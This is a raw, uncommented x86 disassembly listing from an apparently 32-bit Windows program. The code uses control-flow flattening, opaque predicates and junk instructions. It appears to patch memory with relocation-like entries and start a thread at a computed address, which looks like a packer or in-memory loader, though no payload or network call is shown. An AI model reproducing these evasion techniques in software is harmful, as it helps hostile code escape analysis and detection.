call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov word [eax], cx
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
mov edx, eax
add edx, 0xdbd9769f
sub edx, 1
sub edx, 0xdbd9769f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x98e14d2c
mov ecx, 0x906d9ed4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov dword [ebp - 0x1b0], 0x58ef235f
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
sub edx, 0x4f931be8
sub edx, 1
add edx, 0x4f931be8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d8577e9
mov ecx, 0x9b43dd6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x14]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x1a8]
mov dword [eax], 0
mov eax, dword [0x47d544]
mov ecx, dword [0x47d540]
mov edx, eax
sub edx, 0x83e98096
sub edx, 1
add edx, 0x83e98096
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d8577e9
mov ecx, 0xf8bd955c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov ecx, dword [0x47d544]
mov eax, dword [0x47d540]
mov edx, ecx
add edx, 0x86c412a3
sub edx, 1
sub edx, 0x86c412a3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdb277129
mov ecx, 0x364b88f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b0], eax
jmp 0x4142fd
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x1b0], 0xd8cd06d0
jmp 0x4142fd
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x1b0], 0x471c95d1
jmp 0x4142fd
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xe38eae94
sub ecx, 8
add ecx, 0xe38eae94
shr ecx, 1
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
sub ecx, 0xf9a78462
add ecx, 8
add ecx, 0xf9a78462
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov dword [ebp - 0x1b0], 0x43f275ee
jmp 0x4142fd
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
movzx eax, word [eax]
mov ecx, 0xffffffff
xor ecx, 0xfff
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov ecx, dword [eax]
mov edx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xa4]
xor edx, edx
sub edx, esi
sub ecx, edx
mov dword [eax], ecx
mov dword [ebp - 0x1b0], 0xe983c772
jmp 0x4142fd
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x84]
add ecx, 0x5693f789
add ecx, eax
sub ecx, 0x5693f789
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov dword [eax], 0
mov dword [ebp - 0x1b0], 0xdb6e9d5b
jmp 0x4142fd
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x1b0], 0xcd1eb23b
jmp 0x4142fd
mov eax, dword [ebp - 0x198]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x1b0], 0x65a88d93
jmp 0x4142fd
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x1b0], 0x155a948f
jmp 0x4142fd
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x1b0], 0x82079fcf
jmp 0x4142fd
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add eax, 0x96b93d3
add eax, ecx
sub eax, 0x96b93d3
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1b0], 0xd628bbb1
jmp 0x4142fd
jmp 0x40f607